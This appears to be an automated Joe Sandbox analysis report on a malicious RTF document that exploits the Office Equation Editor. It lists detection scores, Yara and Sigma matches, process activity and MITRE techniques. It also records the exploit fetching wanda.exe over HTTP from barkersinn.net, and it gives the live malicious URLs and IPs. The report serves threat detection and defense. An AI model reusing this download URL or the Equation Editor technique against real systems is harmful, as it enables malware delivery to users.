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Windows Analysis Report
SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf
Analysis ID:	784882
MD5:	815bb902aa778ff788f22db14b0053f3
SHA1:	fa03f2a12a3dfcb0661fc15d2bc7944f82b75fce
SHA256:	098cb30970dd2fc4982ffb4fad8e80ec615e677cf2756c5256c360b2c9f7f199
Tags:	rtf
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Office equation editor establishes network connection

Yara signature match

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Office Equation Editor has been started

Internet Provider seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2692 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1244 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 1112 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	SUSP_INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents.	ditekSHen	0x61:$obj2: \objdata 0x237:$obj3: \objupdate
SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x61:$obj2: \objdata 0x237:$obj3: \objupdate

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 209.59.191.114, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1244, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49181

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

• AV Detection
• Exploits
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	ReversingLabs: Detection: 20%
Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	Virustotal: Detection: 31%			Perma Link

Antivirus detection for URL or domain

Source: http://barkersinn.net/wanda.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://barkersinn.net/wanda.exe

Virustotal: Detection: 6%

Perma Link

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 209.59.191.114 Port: 80

Jump to behavior

Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80
Source: global traffic	TCP traffic: 209.59.191.114:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80
Source: global traffic	TCP traffic: 209.59.191.114:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 209.59.191.114:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80
Source: global traffic	TCP traffic: 209.59.191.114:80 -> 192.168.2.22:49181
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80

Source: global traffic

DNS query: name: barkersinn.net

Source: global traffic

TCP traffic: 192.168.2.22:49181 -> 209.59.191.114:80

Source: global traffic

HTTP traffic detected: GET /wanda.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: barkersinn.netConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: LIQUIDWEBUS LIQUIDWEBUS

Source: EQNEDT32.EXE, 00000002.00000002.919645407.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.919645407.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 16 Jan 2023 06:35:38 GMTServer: ApacheContent-Length: 318Keep-Alive: timeout=2, max=500Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><p>Additionally, a 403 Forbiddenerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: EQNEDT32.EXE	String found in binary or memory: http://barkersinn.net/wanda.exe
Source: EQNEDT32.EXE, 00000002.00000002.919645407.0000000000564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://barkersinn.net/wanda.exeC
Source: EQNEDT32.EXE, 00000002.00000002.919645407.0000000000564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://barkersinn.net/wanda.exeH
Source: EQNEDT32.EXE, 00000002.00000002.919645407.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://barkersinn.net/wanda.exej

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B988D5F7-0006-4A79-ADCC-C0412EF19253}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: barkersinn.net

Source: global traffic

System Summary

Malicious sample detected (through community Yara rule)

Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf, type: SAMPLE

Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf, type: SAMPLE	Matched rule: SUSP_INDICATOR_RTF_MalVer_Objects date = 2022-10-20, hash2 = a31da6c6a8a340901f764586a28bd5f11f6d2a60a38bf60acd844c906a0d44b1, author = ditekSHen, description = Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents., score = 43812ca7f583e40b3e3e92ae90a7e935c87108fa863702aa9623c6b7dc3697a2, reference = https://github.com/ditekshen/detection
Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior

Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	ReversingLabs: Detection: 20%
Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	Virustotal: Detection: 31%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$curiteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR73B8.tmp

Jump to behavior

Source: classification engine

Classification label: mal84.expl.winRTF@3/4@1/1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0057F643 push ss; iretd	2_2_0057F6EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0057B372 push edx; retf	2_2_0057B373
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0057F76E push ebp; iretd	2_2_0057F804
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00582909 push ss; iretd	2_2_0058290B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0057F7E0 push ebp; iretd	2_2_0057F804
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00579990 push eax; iretd	2_2_00579991
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0057C386 pushad ; ret	2_2_0057C38D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005799A4 push edi; iretd	2_2_005799A9
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005748A0 pushad ; ret	2_2_005748A1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1404	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 260	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: EQNEDT32.EXE, 00000002.00000003.919377167.00000000005D8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	13 Exploitation for Client Execution	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	3 Non-Application Layer Protocol	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	13 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	21%	ReversingLabs	Document-RTF.Exploit.Heuristic
SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf	32%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://barkersinn.net/wanda.exeH	0%	Avira URL Cloud	safe
http://barkersinn.net/wanda.exeC	0%	Avira URL Cloud	safe
http://barkersinn.net/wanda.exe	7%	Virustotal		Browse
http://barkersinn.net/wanda.exej	0%	Avira URL Cloud	safe
http://barkersinn.net/wanda.exe	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
barkersinn.net	209.59.191.114	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://barkersinn.net/wanda.exe	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://barkersinn.net/wanda.exeH	EQNEDT32.EXE, 00000002.00000002.919645407.0000000000564000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://barkersinn.net/wanda.exeC	EQNEDT32.EXE, 00000002.00000002.919645407.0000000000564000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://barkersinn.net/wanda.exej	EQNEDT32.EXE, 00000002.00000002.919645407.000000000056F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
209.59.191.114	barkersinn.net	United States		32244	LIQUIDWEBUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	784882
Start date and time:	2023-01-16 07:34:32 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.RTF-ObfsObjDat.Gen.14061.17119.rtf
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.expl.winRTF@3/4@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 1244 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:35:21	API Interceptor	316x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
209.59.191.114	SecuriteInfo.com.Exploit.CVE-2018-0798.4.12475.25337.rtf	Get hash	malicious	Browse	barkersinn.net/wanda.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
barkersinn.net	SecuriteInfo.com.Exploit.CVE-2018-0798.4.12475.25337.rtf	Get hash	malicious	Browse	209.59.191.114

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LIQUIDWEBUS	SecuriteInfo.com.Exploit.CVE-2018-0798.4.12475.25337.rtf	Get hash	malicious	Browse	209.59.191.114
	https://oakforestbaptistchurch.org/linkedinnoticeurg/LinkedIn/sojian.php?email=info.austria@thermofisher.com	Get hash	malicious	Browse	50.28.1.43
	LHGaUDtqPo.elf	Get hash	malicious	Browse	69.167.163.96
	Sales Invoices.exe	Get hash	malicious	Browse	67.225.192.146
	http://yellowdoorenergy.com	Get hash	malicious	Browse	67.227.249.141
	http://exec200systems.com	Get hash	malicious	Browse	67.225.141.109
	SecuriteInfo.com.W32.GenKryptik.FYXW.tr.26324.25853.exe	Get hash	malicious	Browse	67.225.140.63
	shef2.2.exe	Get hash	malicious	Browse	69.16.200.142
	shedo.exe	Get hash	malicious	Browse	69.16.200.142
	Drql8qB4Ra.elf	Get hash	malicious	Browse	50.28.59.195
	ORDER.EXE.exe	Get hash	malicious	Browse	69.16.212.181
	Neue_Ordnung_20220712.exe	Get hash	malicious	Browse	69.16.212.181
	http://tinybit.cc/8c545000	Get hash	malicious	Browse	50.28.32.8
	https://mntmnt.com/3S6iC	Get hash	malicious	Browse	69.167.167.169
	TKhtsbYj49.exe	Get hash	malicious	Browse	50.28.51.143
	TKhtsbYj49.exe	Get hash	malicious	Browse	50.28.51.143
	Adobe_Scan.html	Get hash	malicious	Browse	67.225.146.248
	Outstanding SOA.exe	Get hash	malicious	Browse	69.16.212.181
	eWASheoagJ.exe	Get hash	malicious	Browse	50.28.51.143
	Swift confirmation copy.exe	Get hash	malicious	Browse	67.225.192.146

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:46:01 2022, mtime=Tue Mar 8 15:46:01 2022, atime=Mon Jan 16 14:35:20 2023, length=3409, window=hide
Category:	dropped
Size (bytes):	1239
Entropy (8bit):	4.58520406825598
Encrypted:	false
SSDEEP:	24:8wY/XTHEY2mk0THC76IJeivzqHC76aDv3qGniu7D:8r/XTkZT0THCrJqHCaGi0D
MD5:	112613A430A58963A8C9B2BB8E464FB6
SHA1:	A71824553A1AD54C2342956C9532CA59D7B2FFA4
SHA-256:	0BA77945436A3837E52FB5310C244F3AF5D74D6A156CF845278267EFB9749A5A
SHA-512:	6C44E41703FA199C160A9ABF7C2E5E927C53D0F43A31BCC1CB22AFB5375BA343CD2305920E8C4E106B45C33F42DA747CFDBA1C5278A0FCDB84D03914FF38B5C6
Malicious:	false
Reputation:	low
